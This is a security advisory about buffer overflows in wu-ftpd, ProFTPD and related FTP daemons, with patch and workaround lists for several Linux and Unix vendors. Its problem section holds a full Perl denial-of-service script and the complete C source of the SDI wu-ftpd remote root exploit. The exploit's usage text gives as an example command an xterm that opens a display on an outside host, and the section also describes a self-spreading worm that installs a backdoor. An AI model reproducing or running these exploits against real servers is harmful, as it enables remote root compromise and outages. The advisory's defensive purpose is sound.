COMMAND
ftpd
SYSTEMS AFFECTED
Systems running various ftp daemons (see solutions)
PROBLEM
Following is based on Netect Security Advisory. Any server
running the latest version of ProFTPD (1.2.0pre1) or the latest
version of Wuarchive ftpd (2.4.2-academ[BETA-18]). wu-ftpd is
installed and enabled by default on most Linux variants such as
RedHat and Slackware Linux. ProFTPD is new software recently
adopted by many major internet companies for its improved
performance and reliability. Investigation of this vulnerability
is ongoing; the below lists software and operating systems for
which Netect has definitive information.
Software that implements FTP is called an "ftp server", "ftp
daemon", or "ftpd". On most vulnerable systems, the ftpd software
is enabled and installed by default. There is a general class of
vulnerability that exists in several popular ftp servers. Due to
insufficient bounds checking, it is possible to subvert an ftp
server by corrupting its internal stack space. By supplying
carefully designed commands to the ftp server, intruders can force
the the server to execute arbitrary commands with root privilege.
On most vulnerable systems, the ftpd software is installed and
enabled by default. Intruders who are able to exploit this
vulnerability can ultimately gain interactive access to the remote
ftp server with root privilege.
Anyway, even after patch below for RedHat, mkdir <verylongname>
let the deamon do funny things. Here's the way to kill patched
ProFTPD.
#!/usr/local/bin/perl
# ftpd thingy
# bubba@bubba.org
#
$login="ftp"; #duh
$pass="ftp\@ftp.com"; #ditto
$cdstart="incoming"; #dir with write access to start making new dirs
$length=100; #length of dir names
$numdirs="15"; #number of dirs to create
#########################################################################
$ARGC=@ARGV;
if ($ARGC !=1) {
print "Usage: $0 <host>\n";
exit;
}
use Socket;
$string="x" x $length;
my($remote,$port,$iaddr,$paddr,$proto,$line);
$remote=$ARGV[0];
$port = "21";
$iaddr = inet_aton($remote) or die "Error: $!";
$paddr = sockaddr_in($port, $iaddr) or die "Error: $!";
$proto = getprotobyname('tcp') or die "Error: $!";
socket(SOCK, PF_INET, SOCK_STREAM, $proto) or die "Error: $!";
connect(SOCK, $paddr) or die "Error: $!";
$count=$numdirs;
while ($count--) {
if ($count==$numdirs-1) {
$msg = "user $login\n";
send(SOCK, $msg, 0) or die "Cannot send query: $!";
$msg = "pass $pass\n";
send(SOCK, $msg, 0) or die "Cannot send query: $!";
$msg = "cwd $cdstart\n";
send(SOCK, $msg, 0) or die "Cannot send query: $!";
} elsif ($count==1) {
$msg = "pwd\n";
send(SOCK, $msg, 0) or die "Cannot send query: $!";
$msg = "quit\n";
send(SOCK, $msg, 0) or die "Cannot send query: $!";
} else {
$msg = "mkd $string\n";
send(SOCK, $msg, 0) or die "Cannot send query: $!";
$msg = "cwd $string\n";
send(SOCK, $msg, 0) or die "Cannot send query: $!";
$msg = "pwd\n";
send(SOCK, $msg, 0) or die "Cannot send query: $!";
}
}
while (<SOCK>) {
print;
}
exit;
Also, ls big lenth file/directory will kill ProFTPD. The problem
sits in fs.c:fs_dircat() routine, which doesn't make boundary
checks while concatinating directory names. According to
CyberPsychotic, this seem to be a heap buffer overflow, which
smashes pointers to the dirnames (thus you could probably get
access to files outsite chrooted envinronment): Here's screenshot
of gdb, attaching to running proftpd process before overflow took
place:
Program received signal SIGSEGV, Segmentation fault.
0x4007c837 in strncpy (s1=0x41414141 <Address 0x41414141 out of bounds>,
s2=0xbfffea88 'A' <repeats 186 times>, "/", 'A' <repeats 13 times>...,
n=1094795585) at ../sysdeps/generic/strncpy.c:82
../sysdeps/generic/strncpy.c:82: No such file or directory.
(gdb) where
#0 0x4007c837 in strncpy (s1=0x41414141 <Address 0x41414141 out of bounds>,
s2=0xbfffea88 'A' <repeats 186 times>, "/", 'A' <repeats 13 times>...,
n=1094795585) at ../sysdeps/generic/strncpy.c:82
#1 0x8057963 in fs_clean_path (
path=0x41414141 <Address 0x41414141 out of bounds>,
buf=0x41414141 <Address 0x41414141 out of bounds>, maxlen=1094795585)
at fs.c:776
#2 0x41414141 in ?? ()
Cannot access memory at address 0x41414141.
(gdb)
The overflow causes SIGSEGV in fs_clean_path() routine, but it
happened in fs_dircat(), which eventualy overwrote pointers to
path, and buf. 1.2.pre2 was not tested (tested with 1.2.pre1 with
patch appiled).
Stu Alchor posted following. There's a script called ftp-w0rm.tgz
which is able to look for ftpd bug around the world, exploit it
and reproduce the script like the worm. Once the worm gets in a
new host, it will install a backdoor (bindcode) in the port 31337
and starts the new scan. Below is the core of the ftp worm
(SDI-wu.c), the exploit for the vulnerability. The associated
programs/documents regarding worm can be found at:
http://blue.ils.unc.edu/Apr1/hack/
The program below seems to combine the scanning for a writable
directory with the exploit. The SDI-wu code needs some fixes to
work in Red Hat and other linux distribution.
/*
* SDI wu-ftpd exploit for Linux (Feb 20, 1999)
*
* http://www.sekure.org - Brazilian Information Security Team.
*
* Source by jamez (jamez@sekure.org)
* c0nd0r (condor@sekure.org)
*
* This source will let you execute remote commands as root if you have
* write access on the ftp server.
*
* Usage:
*
* gcc SDI-wu.c -o SDI-wu
*
* ./SDI-wu host user password dir command type [port] [align]
*
* host: the victim (ftp.microsoft.com)
* user: ftp user with write access (anonymous)
* password: the password for the user (foo@bar.com)
* dir: the directory you have access (/incoming)
* command: the command ("/usr/X11R6/bin/xterm -display www.host.com:0")
* type: system type (see below)
* port: ftp port (21 default)
* align: the alignment (default 3)
*
*
* Limitations:
*
* because I've used hard coded address's for system and the command,
* the values wont be the same in others compilations of wu-ftpd.
* so, you will need to find the address for the version
* you want to exploit.
*
* because we are not using the stack to put our code, the exploit
* will work as well against a non-executable stack patch.
*
*
* RECOMENDATION = Please, run gdb through the wu.ftpd binary in order to
* find out your "system address" (ie: print system) and write it down
* so you can have more address to try - just overwrite the default addr
* and choose type (3).
*
*
* Thanks for the sekure SDI:
* fcon, bishop, dumped, bahamas, slide, vader, yuckfoo.
*
* Also thanks for #uground (irc.brasnet.org) and
* chaosmaker, c_orb(efnet)
*
*/
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <stdio.h>
#include <arpa/inet.h>
#define MAXLEN 255
#define BSIZE 1024
struct sockaddr_in sa;
struct hostent *he;
char c = 'A';
char host[255],
user[255],
pass[255],
command[1024],
buff[2040],
tmp[3060],
netbuf[2040],
dir[255];
int sd,
i,
offset = 0,
dirsize = 0,
port=21,
doit = 0,
done = 0,
todo = 0,
align = 3,
tipo = 0;
/* CUSTOM ADDRESS, CHANGE IT IN ORDER TO EXPLOIT ANOTHER BOX */
#define SYSADDR 0x40043194;
#define EGGADDR 0x805f1dc;
long systemaddr;
long shelladdr;
void usage(char * s) {
printf(" \nSDI wu-ftpd remote exploit (http://www.sekure.org)\n\n");
printf(" %s host user password dir command [port] [align]\n\n", s);
printf(" host: the victim (ftp.microsoft.com)\n");
printf(" user: ftp user with write access (anonymous)\n");
printf(" password: the password for the user (foo@bar.com)\n");
printf(" dir: the directory you have permission to write (/incoming)\n");
printf(" command: the command (\"/usr/X11R6/bin/xterm -display www.host.com:0\")\n");
printf(" type: see below\n");
printf(" port: ftp port (21 default)\n");
printf(" align: the alignment (3 default)\n");
printf("\n type:\n 0 - slak3.4 ver 2.4(4)\n 1 - slak3.4 ver beta-15&18");
printf("\n 2 - slak3.3 ver 2.4(2)");
printf("\n 3 - custom (change the code)\n\n See Netect advisory - ");
printf(" this is not suppose to be released soon! (Feb,1999)\n\n");
}
void get_dirsize() {
strcpy ( tmp, "PWD"); strcat ( tmp, "\n");
write ( sd, tmp, strlen(tmp));
read ( sd, netbuf, sizeof(netbuf));
for(i = 0; i < strlen(netbuf); i++)
if(netbuf[i] == '\"') break;
dirsize = 0;
for(i++; i < strlen(netbuf); i++)
if(netbuf[i] == '\"')
break;
else
dirsize++;
bzero ( &netbuf, sizeof(netbuf));
}
int main (int argc, char *argv[]) {
if (argc < 7) {
usage(argv[0]);
exit(0);
}
sprintf(host, "%s", argv[1]);
sprintf(user, "%s", argv[2]);
sprintf(pass, "%s", argv[3]);
sprintf(dir, "%s", argv[4]);
sprintf(command, "%s", argv[5]);
tipo = atoi (argv[6]);
printf ( "%d\n\n", tipo);
if ( argc > 7) port = atoi(argv[7]);
if ( argc > 8) align = atoi(argv[8]);
if (tipo <= 0) {
/* 2.4(4) libc5 slack 3.4 */
systemaddr = 0x400441f0;
shelladdr = 0x80604a0;
} else if (tipo == 1) {
/* beta 15 libc5 slack 3.4 */
systemaddr = 0x400441f0;
shelladdr = 0x8062510;
} else if (tipo == 2) {
/* 2.4(4) libc5 slack 3.3 */
systemaddr = 0x400441f0;
shelladdr = 0x805f1e4;
} else {
/* CUSTOM ADDRESS */
systemaddr = SYSADDR;
shelladdr = EGGADDR;
}
sd = socket ( AF_INET, SOCK_STREAM, 0);
sa.sin_family = AF_INET;
sa.sin_port = htons(port);
he = gethostbyname (host);
if (!he) {
if ( (sa.sin_addr.s_addr = inet_addr(host)) == INADDR_NONE) {
printf ( "wrong ip address or unknown hostname\n"); exit(0);
}
}
else {
bcopy ( he->h_addr, (struct in_addr *) &sa.sin_addr, he->h_length);
}
if ( connect ( sd, (struct sockaddr *) &sa, sizeof(sa)) < 0) {
printf ( "Cannot connect to remote host: Connection refused\n");
exit(0);
}
read ( sd, netbuf, sizeof(netbuf));
printf ( "%s\n", netbuf); bzero ( &netbuf, sizeof(netbuf));
/* ok. we're connected. */
strcpy ( tmp, "USER "); strcat (tmp, user); strcat ( tmp, "\n");
write ( sd, tmp, strlen(tmp)); bzero ( &tmp, sizeof(tmp));
read ( sd, netbuf, sizeof(netbuf));
printf ( "%s\n", netbuf); bzero ( &netbuf, sizeof(netbuf));
/* ok. send the pass. */
strcpy ( tmp, "PASS "); strcat (tmp, pass); strcat ( tmp, "\n");
write ( sd, tmp, strlen(tmp)); bzero ( &tmp, sizeof(tmp));
read ( sd, netbuf, sizeof(netbuf));
if ( netbuf[0] == '5') {
printf ("Login incorrect!\n"); exit(0); }
printf ( "%s\n", netbuf);
#ifdef DEBUG
printf ( "Ok, we're on! Press any key to exploit it\n");
gets(netbuf);
#endif
bzero ( &netbuf, sizeof(netbuf));
/* ok. let's get to the vulnerable dir */
strcpy ( tmp, "CWD "); strcat (tmp, dir); strcat ( tmp, "\n");
write ( sd, tmp, strlen(tmp)); bzero ( &tmp, sizeof(tmp));
read ( sd, netbuf, sizeof(netbuf));
printf ( "%s\n", netbuf); bzero ( &netbuf, sizeof(netbuf));
get_dirsize(); /* gets home dir size */
todo = BSIZE - dirsize - 60 - 4;
/* ok, we're on. let's get things working here! */
while(done < todo) {
if((todo - done) > 255)
doit = 255;
else
doit = todo - done;
for (i = 0; i < doit; i++)
buff[i] = c;
buff[doit] = '\0';
strcpy ( tmp, "MKD "); strcat ( tmp, buff); strcat ( tmp, "\n");
write ( sd, tmp, strlen(tmp));
read ( sd, netbuf, sizeof(netbuf));
if ( netbuf[1] == '2') {
printf ("error while creating the dir, let's try another name...\n\n");
c++;
continue;
}
else
done += doit;
bzero ( &tmp, sizeof(tmp)); bzero ( &netbuf, sizeof(netbuf));
strcpy ( tmp, "CWD "); strcat ( tmp, buff); strcat ( tmp, "\n");
write ( sd, tmp, strlen(tmp));
read ( sd, netbuf, sizeof(netbuf));
if ( netbuf[0] == '5') {
printf ("error while exploiting the remote host: Cannot cd dir!\n\n");
}
bzero ( &tmp, sizeof(tmp)); bzero ( &netbuf, sizeof(netbuf));
}
/* prepare last one */
memset(buff, 'X', MAXLEN);
for(i = align; i < 100; i += 4) {
buff[i ] = systemaddr & 0x000000ff;
buff[i+1] = (systemaddr & 0x0000ff00) >> 8;
buff[i+2] = (systemaddr & 0x00ff0000) >> 16;
buff[i+3] = (systemaddr & 0xff000000) >> 24;
}
buff[i++] = shelladdr & 0x000000ff;
buff[i++] = (shelladdr & 0x0000ff00) >> 8;
buff[i++] = (shelladdr & 0x00ff0000) >> 16;
buff[i++] = (shelladdr & 0xff000000) >> 24;
strcat(command, ";");
memcpy(buff+140, command, strlen(command));
buff[MAXLEN] = '\0';
strcpy ( tmp, "MKD "); strcat ( tmp, buff); strcat ( tmp, "\n");
write ( sd, tmp, strlen(tmp));
read ( sd, netbuf, sizeof(netbuf));
bzero ( &tmp, sizeof(tmp)); bzero ( &netbuf, sizeof(netbuf));
/* ok. */
printf ( "Exploiting %s\n", dir);
printf ( "Using 0x%x(system) and 0x%x(command), alignment = %d, port = %d\n", systemaddr, shelladdr, align, port);
printf("\nI guess you're a hax0r now :D.\n");
close (sd);
}
SOLUTION
Currently there are several ways to exploit the ftp servers in
question. One temporary workaround against an anonymous attack
is to disable any world writable directories the user may have
access to by making them read only. This will prevent an attacker
from building an unusually large path, which is required in order
to execute these particular attacks.
ProFTPD
=======
This has been fixed in version 1.2.0pre1-2:
ftp://ftp.debian.org/debian/dists/proposed-updates/proftpd_1.2.0pre1.orig.tar.gz
ftp://ftp.debian.org/debian/dists/proposed-updates/proftpd_1.2.0pre1-2.diff.gz
ftp://ftp.debian.org/debian/dists/proposed-updates/proftpd_1.2.0pre1-2.dsc
ftp://ftp.debian.org/debian/dists/proposed-updates/proftpd_1.2.0pre1-2_i386.deb
ftp://ftp.debian.org/debian/dists/proposed-updates/proftpd_1.2.0pre1-2_m68k.
ftp://ftp.proftpd.org/patches/proftpd-1.2.0pre1-path_exploit.patch
Also, 1.2.0pre2 has been released which is patched against the
recent overflows/bugs in ftpd that have been discovered. Available
from:
ftp://ftp.proftpd.org/distrib/proftpd-1.2.0pre2.tar.gz
Debian 2.0r5 has this bug fixed.
wu-ftpd
=======
rpm -Uvh ftp://updates.redhat.com/5.2/alpha/wu-ftpd-2.4.2b18-2.1.alpha.rpm
rpm -Uvh ftp://updates.redhat.com/5.2/i386/wu-ftpd-2.4.2b18-2.1.i386.rpm
rpm -Uvh ftp://updates.redhat.com/5.2/sparc/wu-ftpd-2.4.2b18-2.1.sparc.rpm
rpm -Uvh ftp://updates.redhat.com/5.2/SRPMS/wu-ftpd-2.4.2b18-2.1.src.rpm
rpm -Uvh ftp://updates.redhat.com/4.2/alpha/wu-ftpd-2.4.2b15-1.2.alpha.rpm
rpm -Uvh ftp://updates.redhat.com/4.2/i386/wu-ftpd-2.4.2b15-1.2.i386.rpm
rpm -Uvh ftp://updates.redhat.com/4.2/sparc/wu-ftpd-2.4.2b15-1.2.sparc.rpm
rpm -Uvh ftp://updates.redhat.com/4.2/SRPMS/wu-ftpd-2.4.2b15-1.2.src.rpm
wu-ftpd VR series
=================
All versions prior to 2.4.2 (beta 18) VR10 are vulnerable. Fix
will be incorporated into VR10, released November 1, 1998
available from:
ftp://ftp.vr.net/pub/wu-ftpd/
BeroFTPD
========
All versions prior to 1.2.0 are vulnerable. Fix will be
incorporated into 1.2.0, released October 26, 1998 available from:
ftp://ftp.beroftpd.unix.eu.org/pub/BeroFTPD/
ftp://ftp.croftj.net/usr/bero/BeroFTPD/
ftp://ftp.sunet.se/pub/nir/ftp/servers/BeroFTPD/
ftp://sunsite.cnlab-switch.ch/mirror/BeroFTPD/
RedHat Software
===============
Version 5.2 and previous versions ARE vulnerable. Updates will
be available from:
ftp://updates.redhat.com/5.2/<arch>/
http://www.samiam.org/blackdragon
Slackware
=========
All versions ARE vulnerable. Updates will be available from:
ftp://ftp.cdrom.com/pub/linux/slackware-3.6/slakware/n8/
ftp://ftp.cdrom.com/pub/linux/slackware-current/slakware/n8/
OpenLinux
=========
Latest version IS vulnerable. Updates will be available from:
ftp://ftp.calderasystems.com/pub/OpenLinux/updates/
SCO
===
UnixWare v 7.0.1 and earlier (except 2.1.x) IS vulnerable.
OpenServer v5.0.5 and earlier IS vulnerable. Binary versions of
ftpd will be available shortly from the SCO ftp site:
ftp://ftp.sco.com/SSE/sse021.ltr - cover letter
ftp://ftp.sco.com/SSE/sse021.tar.Z - replacement binaries